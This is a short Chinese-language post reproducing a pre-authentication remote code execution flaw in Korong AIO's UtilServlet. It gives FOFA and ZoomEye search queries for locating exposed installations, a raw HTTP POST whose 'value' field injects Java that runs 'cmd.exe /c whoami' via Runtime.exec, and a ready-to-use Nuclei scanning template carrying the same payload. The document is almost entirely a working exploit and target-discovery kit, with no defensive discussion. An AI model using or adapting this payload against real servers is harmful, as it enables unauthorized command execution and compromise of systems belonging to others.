科荣AIO UtilServlet 前台RCE漏洞复现

# 搜索语法fofa：body="changeAccount('8000')"钟馗之眼："changeAccount('8000')"

POST /UtilServlet HTTP/1.1Host: 127.0.0.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36operation=calculate&value=BufferedReader+br+%3d+new+BufferedReader(new+InputStreamReader(Runtime.getRuntime().exec("cmd.exe+/c+whoami").getInputStream()))%3bString+line%3bStringBuilder+b+%3d+new+StringBuilder()%3bwhile+((line+%3d+br.readLine())+!%3d+null)+{b.append(line)%3b}return+new+String(b)%3b&fieldName=example_field

id: KRAIORCEinfo:  name: KRAIORCE  author: Administrator  severity: high  description: KRAIORCE  reference:    - https://  tags: tagshttp:  - raw:      - |+        POST /UtilServlet HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2        Accept-Encoding: gzip, deflate        Connection: close        Cookie: JSESSIONID=B90FC3948FCF2B938242B6EA2B9F267C        Upgrade-Insecure-Requests: 1        Content-Type: application/x-www-form-urlencoded        Content-Length: 326        operation=calculate&value=BufferedReader+br+%3d+new+BufferedReader(new+InputStreamReader(Runtime.getRuntime().exec("cmd.exe+/c+whoami").getInputStream()))%3bString+line%3bStringBuilder+b+%3d+new+StringBuilder()%3bwhile+((line+%3d+br.readLine())+!%3d+null)+{b.append(line)%3b}return+new+String(b)%3b&fieldName=example_field    matchers-condition: and    matchers:      - type: word        part: body        words:          - system      - type: status        status:          - 200